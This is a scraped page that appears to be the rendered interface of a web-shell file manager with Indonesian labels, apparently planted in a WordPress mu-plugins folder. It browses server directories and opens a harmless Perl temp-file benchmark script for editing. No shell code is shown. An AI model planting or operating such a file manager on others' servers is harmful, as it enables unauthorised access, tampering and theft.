๐ Advanced File Manager
Multi-Root Navigation System
โก Quick Jump
Server (/)
Home (/home)
Var_www (/var/www)
Current (/home4/shelley/public_html/wp-content/mu-plugins)
๐ Go
โฌ Ke Atas
๐ Root Server
๐ Root App
๐ Refresh
๐ /
โบ
usr
โบ
share
โบ
doc
โบ
perl-File-Temp
โบ
๐ misc
๐
Lokasi:
/usr/share/doc/perl-File-Temp/misc
๐พ
Free:
45.4 GB
โ ๏ธ Direktori ini
tidak writable
.
โ๏ธ Mengedit: benchmark.pl
#!/usr/bin/perl -w # Simple benchmark of temporary file creation (no filename just a handle) # Uses the following: # - temporary file creation created by IO::File # - temporary file creation using File::Temp (uses security checking) # - A roll-our-own wrapper on top of POSIX::tempnam (essentially # a compact form of File::Temp without all the extras) taken from # the Perl cookbook # Would not use strict; use Benchmark; use IO::File; use POSIX qw/ tmpnam /; use File::Temp qw/ tempfile /; use Symbol; # Benchmark IO::File and File::Temp timethese(10000, { 'IO::File' => sub { my $fh = IO::File::new_tmpfile || die $ !; }, 'File::Temp::tempfile' => sub { my $fh = tempfile() || die $ !; }, 'POSIX::tmpnam' => sub { my $fh = gensym;; my $name; for (;;) { $name = tmpnam(); sysopen( $fh, $name, O_RDWR | O_CREAT | O_EXCL ) && last; } unlink $name; } } );
๐พ Simpan Perubahan
โ Batal
๐ค Upload
๐ Buat Folder
Nama
Ukuran
Dimodifikasi
Permission
Aksi
๐
benchmark.pl
974 B
2022-02-16 10:04
0644
โ๏ธ Edit
โฌ
โ๏ธ
๐๏ธ
๐
results.txt
1.2 KB
2020-10-03 04:04
0644
โ๏ธ Edit
โฌ
โ๏ธ
๐๏ธ
โ๏ธ Rename:
Nama Baru:
Batal
๐พ Simpan